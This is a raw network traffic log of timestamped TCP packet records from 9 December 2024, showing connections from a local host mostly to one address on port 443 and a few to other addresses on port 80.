Dec 9, 2024 06:49:44.093338966 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.093338966 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.093338966 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.096153975 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.096203089 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.096492052 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.096492052 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.096523046 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.099591017 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.099653959 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.101562977 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.101562977 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.101562977 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.104413986 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.104463100 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.104744911 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.104744911 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.104779005 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.386413097 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.387423038 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.387423038 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.387448072 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.387465000 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.389560938 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.390644073 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.390659094 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.391165972 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.391172886 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.398319960 CET	49792	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.398348093 CET	443	49792	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.413933992 CET	49794	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.413957119 CET	443	49794	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.712018013 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.731062889 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.731157064 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.731509924 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.731524944 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.835433006 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.835514069 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.835859060 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.835961103 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.835961103 CET	49795	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.835980892 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.835990906 CET	443	49795	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.837111950 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.837208986 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.837433100 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.837433100 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.838640928 CET	49796	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.838673115 CET	443	49796	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.838907957 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.838952065 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.839071035 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.839426994 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.839438915 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.839565039 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.839607954 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:44.839814901 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.839814901 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:44.839850903 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.149910927 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.149987936 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.150178909 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.150279999 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.150294065 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.150305986 CET	49797	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.150311947 CET	443	49797	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.152820110 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.152841091 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.152911901 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.153049946 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.153059006 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.812938929 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.813713074 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.813797951 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:45.814078093 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:45.814095020 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.269481897 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.269546032 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.269891977 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.269891977 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.269891977 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.272742033 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.272804976 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.272922993 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.273096085 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.273111105 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.492155075 CET	49799	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.492201090 CET	443	49799	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.554856062 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.556660891 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.556710005 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.557128906 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.557141066 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.559765100 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.560112953 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.560142994 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.560558081 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.560565948 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.868602037 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.869235992 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.869261980 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.869707108 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.869714975 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.989018917 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.989089012 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.989310980 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:46.992126942 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.992207050 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:46.994685888 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.028747082 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.028788090 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.028812885 CET	49801	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.028820038 CET	443	49801	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.067358017 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.067394972 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.067408085 CET	49802	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.067415953 CET	443	49802	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.070534945 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.070593119 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.070664883 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.071036100 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.071053982 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.071551085 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.071589947 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.071698904 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.071782112 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.071796894 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.129990101 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.134500980 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.134531021 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.140983105 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.141004086 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.305203915 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.305284023 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.306701899 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.306767941 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.306790113 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.306802988 CET	49803	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.306809902 CET	443	49803	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.310229063 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.310254097 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.310493946 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.310626984 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.310641050 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.567049026 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.567131996 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.567404985 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.567533016 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.567553997 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.567565918 CET	49800	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.567572117 CET	443	49800	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.571290970 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.571357012 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:47.571413994 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.571885109 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:47.571897984 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.006081104 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.006531954 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.006552935 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.007378101 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.007383108 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.440104961 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.440172911 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.440283060 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.440469027 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.440486908 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.440495968 CET	49804	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.440500975 CET	443	49804	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.442871094 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.442923069 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.443001032 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.443137884 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.443151951 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.788997889 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.789556980 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.791349888 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.791393995 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.791920900 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.791934967 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.792161942 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.792187929 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:48.792509079 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:48.792514086 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.027271032 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.029333115 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.029361010 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.029819012 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.029827118 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.223242044 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.223330021 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.223376989 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.223555088 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.223573923 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.223586082 CET	49806	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.223592043 CET	443	49806	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.224579096 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.224652052 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.224720001 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.224828005 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.224843025 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.224853992 CET	49805	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.224858999 CET	443	49805	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.226775885 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.226818085 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.226875067 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.227082968 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.227094889 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.227277994 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.227330923 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.227380037 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.227459908 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.227475882 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.288381100 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.335814953 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.351898909 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.351911068 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.352354050 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.352359056 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.461042881 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.461117029 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.461194992 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.516102076 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.516138077 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.516177893 CET	49807	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.516185045 CET	443	49807	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.583746910 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.583796024 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.584183931 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.584521055 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.584538937 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.722073078 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.722143888 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.722310066 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.728961945 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.728961945 CET	49808	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.728985071 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.728992939 CET	443	49808	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.733153105 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.733201981 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:49.733262062 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.734127998 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:49.734138966 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.156910896 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.157869101 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.157888889 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.158317089 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.158323050 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.259171963 CET	80	49756	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:50.259228945 CET	49756	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:50.259326935 CET	49756	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:50.378624916 CET	80	49756	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:50.584131002 CET	49814	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:50.590394974 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.590466976 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.590518951 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.590697050 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.590723991 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.590739012 CET	49809	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.590744972 CET	443	49809	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.593888044 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.593928099 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.594022989 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.594228029 CET	49815	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.594240904 CET	443	49815	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.703488111 CET	80	49814	181.214.58.112	192.168.2.11
Dec 9, 2024 06:49:50.703562021 CET	49814	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:50.704333067 CET	49814	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:49:50.823654890 CET	80	49814	181.214.58.112	192.168.2.11
Dec 9, 2024 06:49:50.940860987 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.941494942 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.941535950 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.942014933 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.942018986 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.942486048 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.942863941 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.942890882 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:50.943334103 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:50.943341017 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.308195114 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.351480007 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.370748997 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.370795012 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.371288061 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.371299028 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379842997 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379892111 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379916906 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379920959 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379976988 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.379997969 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.379998922 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.380105019 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.380110025 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.380120993 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.380153894 CET	49811	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.380160093 CET	443	49811	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.414380074 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.414380074 CET	49810	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.414414883 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.414431095 CET	443	49810	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.444633961 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.444703102 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.444814920 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.445986986 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.446027994 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.446227074 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.446312904 CET	49816	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.446326017 CET	443	49816	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.446501970 CET	49817	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.446517944 CET	443	49817	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.453849077 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.455517054 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.455517054 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.455557108 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.455570936 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.742109060 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.742192030 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.742279053 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.742909908 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.742937088 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.742950916 CET	49812	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.742957115 CET	443	49812	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.747245073 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.747296095 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.747484922 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.747900963 CET	49818	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.747912884 CET	443	49818	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892427921 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892452002 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892580986 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.892620087 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892775059 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.892775059 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.892792940 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892956972 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.892985106 CET	443	49813	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:51.894087076 CET	49813	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.895488024 CET	49819	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:51.895519972 CET	443	49819	13.107.246.63	192.168.2.11
